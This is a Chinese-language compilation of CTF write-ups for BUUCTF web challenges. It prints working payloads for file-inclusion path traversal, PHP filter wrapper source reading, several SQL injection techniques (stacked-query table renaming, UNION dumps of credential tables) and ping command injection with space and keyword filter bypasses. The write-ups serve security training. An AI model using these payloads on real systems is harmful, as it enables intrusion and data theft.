BUUCTF-Web WP合集


[HCTF 2018]WarmUp

题目类型:PHP代码审计

相关知识点:文件包含漏洞(phpmyadmin 4.8.1任意文件包含)

0x01.查看网页源代码

首先通过网页源代码的注释发现网站内隐藏的网页source.php,访问路径http://xxxx.node3.buuoj.cn/source.php,发现source.php文件的源代码,开始分析。

0x02.分析PHP代码

1 if (! empty($_REQUEST['file'])
2         && is_string($_REQUEST['file'])
3         && emmm::checkFile($_REQUEST['file'])
4     ) {
5         include $_REQUEST['file'];
6         exit;
7     } else {
8         echo "
"; 9 }

这一段的意思是传入一个file参数,必须同时满足file参数不为空、是字符串、通过checkFile函数校验,否则返回滑稽表情,下面分析emmm类的checkFile函数:

class emmm
    {
        public static function checkFile(&$page)

        {
            //白名单
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it A";
                return false;
            }
            //第一次白名单检测
            if (in_array($page, $whitelist)) {
                return true;
            }
            //第一次过滤问号
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );

             //第二次白名单检测
            if (in_array($_page, $whitelist)) {
                return true;
            }
            $_page = urldecode($page);

            //第二次过滤问号
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            //第三次白名单检测
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

如果访问路径http://xxxx.node3.buuoj.cn/source.php?file=hint.php会得到提示“flag not here, and flag in ffffllllaaaagggg”。仔细分析代码便知三次白名单判断、一次url解码并未对解题造成困难,只要使file参数的内容在白名单中即可(source.php或hint.php)。此处直接利用文件包含漏洞+目录遍历,构建payload:

http://xxxx.node3.buuoj.cn/source.php?file=hint.php?../../../../../ffffllllaaaagggg

访问地址即可看到flag。

[强网杯 2019]随便注

题目类型:SQL注入

相关知识点:SQL注入语句、关键词绕过、数据库改写

0x01.判断是否存在注入

首先题目只有一个输入框,直接提交1可以发现读出了两列内容。此时通过万能语句:

1' and '1'='1
1' and '1'='2

 输入第一行语句可以看到输出结果与输入1相同,输入第二行语句无回显,猜测是由于数据库查询错误所致,可以判断存在注入点,接下来开始通过堆叠查询进行注入。

0x02.开始注入

首先通过order by语句判断显示列数,依次输入:

1' order by 1# 
1' order by 2# 
1' order by 3# 

输入到第三行语句时报错,证明显示列数为2,此时开始爆破数据库表。但当输入select后会发现输入位置存在正则表达式判断是否输入了select、update、delete、drop、insert和where,如果存在上述内容则无法进行查询。此时无法通过information_schema库来进行爆库爆表爆字段查询,换用其他的SQL语句:

1'; show databases;# 
1'; show tables;# 

 第一行语句代表显示所有库名,第二行语句代表显示所有表名。至此发现两个表:“words”和“1919810931114514”,接下来分别查看两个表里的字段:

1'; show columns in `words`;# 
1'; show columns in `1919810931114514`;# 

 发现“words”表中无可用信息,“1919810931114514”表中存在flag字段,猜测里面含有flag。但此时的问题是无法通过select语句查询里面的内容,接下来的解法是本题的关键。

0x03.修改数据库结构

 由于无法直接查询flag字段的内容,需要另辟蹊径。通过上一步可以发现数据库中只有两个表,其中“1919810931114514”表中可能存在flag,那另一个表“words”的作用是什么呢?通过查询“words”表中的字段可以发现它有两个字段:id和data,它们的数据类型分别是int和varchar,似乎和一开始输入1时查询到的两个字段的数据结构是相似的,此时猜测输入框是对“words”表进行查询操作,如果想要查看“1919810931114514”表的内容,可以先把“words”表修改为其它名称,再将“1919810931114514”表的名称修改为“words”,这样即可通过输入框查询flag字段的内容:

1'; rename tables `words` to `word`; rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);# 

 通过rename方法修改表名,同时需要注意保证新的“words”表字段数和输入1时显示的列数一致,即为2,成功执行上述语句后数据库结构已被修改,无任何回显。此时重新在输入框输入万能语句1'or'1'='1即可显示全部内容,得到flag。

[极客大挑战 2019]EasySQL

题目类型:SQL注入

相关知识点:SQL注入语句

直接在用户名处测试万能密码:

1‘ or '1'='1' # 

 即可得到flag。

[极客大挑战 2019]Havefun

题目类型:信息收集

相关知识点:网页源代码

直接F12检查源代码,发现设置有GET参数cat,如果cat的值为dog则输出什么东西,所以直接在url后面加上:

/?cat=dog

即可得到flag。

[ACTF2020 新生赛]Include

题目类型:文件包含

相关知识点:php伪协议

使用PHP伪协议读取flag.php网页源代码,输入如下url:

http://your-url/?file=php://filter/read=convert.base64-encode/resource=flag.php

读出网页源代码经过base64加密后的字符串,经过base64解密后即可得到flag。

[SUCTF 2019]EasySQL

题目类型:SQL注入

相关知识点:SQL注入语句、代码审计

原题存在源码泄露index.php.swp(但本环境下无此文件),通过代码审计可以发现SQL语句为:

$sql = "select ".$post['query']."||flag from Flag";

因此可以直接构造payload:

*,1

即可直接在第一列中显示全部搜索结果并在第二列显示1。第一列中的结果即为flag。

或调整Mysql的sql_mode模式:pipes_as_concat来实现字符串拼接,payload为:

1;set sql_mode=PIPES_AS_CONCAT;select 1

[极客大挑战 2019]Secret File

题目类型:信息收集、文件包含

相关知识点:php伪协议

首先通过查看网页源代码发现下方的链接/Archive_room.php,然后点进去后发现有一个SECRET按钮,点一下以后说是回去仔细看看,回到/Archive_room.php页面抓包观察点击按钮后的反应,在response中发现了secr3t.php的存在,进去以后发现一段代码发现存在文件包含漏洞,直接访问flag.php发现并不能得到flag,猜测flag可能存在php代码里,回到secr3t.php中利用文件包含漏洞和php伪协议构造url:

http://your-url/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

 得到base64编码后的flag.php代码,经过base64解码后得到flag。

[ACTF2020 新生赛]Exec

题目类型:命令执行

相关知识点:命令执行

通过测试发现就是执行系统命令ping输入的地址,直接通过&符号在后面拼接系统命令找flag文件即可,最后通过向上遍历查询在根目录下找到flag文件,读取即可得到flag,完整payload如下:

1 & cat ../../../flag

[极客大挑战 2019]LoveSQL

题目类型:SQL注入

相关知识点:SQL注入语句

首先用户名处就存在注入点,通过万能密码直接能登录成功并得到admin的密码,然而没什么用,flag并不在这,实际需要在数据库中找到正确的flag位置,而且需要绕过关键字过滤(大小写混合绕过),关键步骤如下:

-1' uniOn SelecT 1 # 
-1' uniOn SelecT 1,2 # 
-1' uniOn SelecT 1,2,3 # 

注出共有三列,且在第2列和第3列显示数据,然后注库名:

-1' uniOn SelecT 1,2,group_concat(schema_name) from information_schema.schemata # 

注出库名geek,然后注表名:

-1' uniOn SelecT 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek' # 

注出表名geekuser和l0ve1ysq1,经过测试发现admin账户就出自geekuser表,里面没有flag,所以在l0ve1ysq1表中注列名:

-1' uniOn SelecT 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' # 

注出列名id、username和password,然后直接查里面的内容即可在最后得到flag:

-1' uniOn SelecT 1,2,group_concat(concat_ws(',',id,username,password)) from geek.l0ve1ysq1 # 

[GXYCTF2019]Ping Ping Ping

题目类型:命令执行

相关知识点:命令执行

经过前期测试发现本题过滤了很多关键字、空格和符号,所以需要进行绕过,尝试了以下空格绕过方法:

${IFS}替换
$IFS$1替换
${IFS替换
%20替换
<和<>重定向符替换
%09替换

通过回显发现$IFS$1可用,但是可能过滤了flag关键字,尝试了以下关键字绕过方法:

单双引号绕过:ca"t fl''ag
反斜线绕过:ca\t fl\ag
$1、$2等和 $@绕过:c$1at fl$@ag.php

均不可用,采用变量拼接的方法绕过:

?ip=1;a=g;cat$IFS$1fla$a.php;

由于php不解析,所以可在网页源码中查看到flag。

此外还有几种解法:

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

通过base64编码进行绕过,再用命令进行解读。Y2F0IGZsYWcucGhw是cat flag.php的base64编码,再用base64 -d命令进行执行。

内敛绕过解法,将反引号内命令的输出作为输入执行:

?ip=127.0.0.1;cat$IFS$1`ls`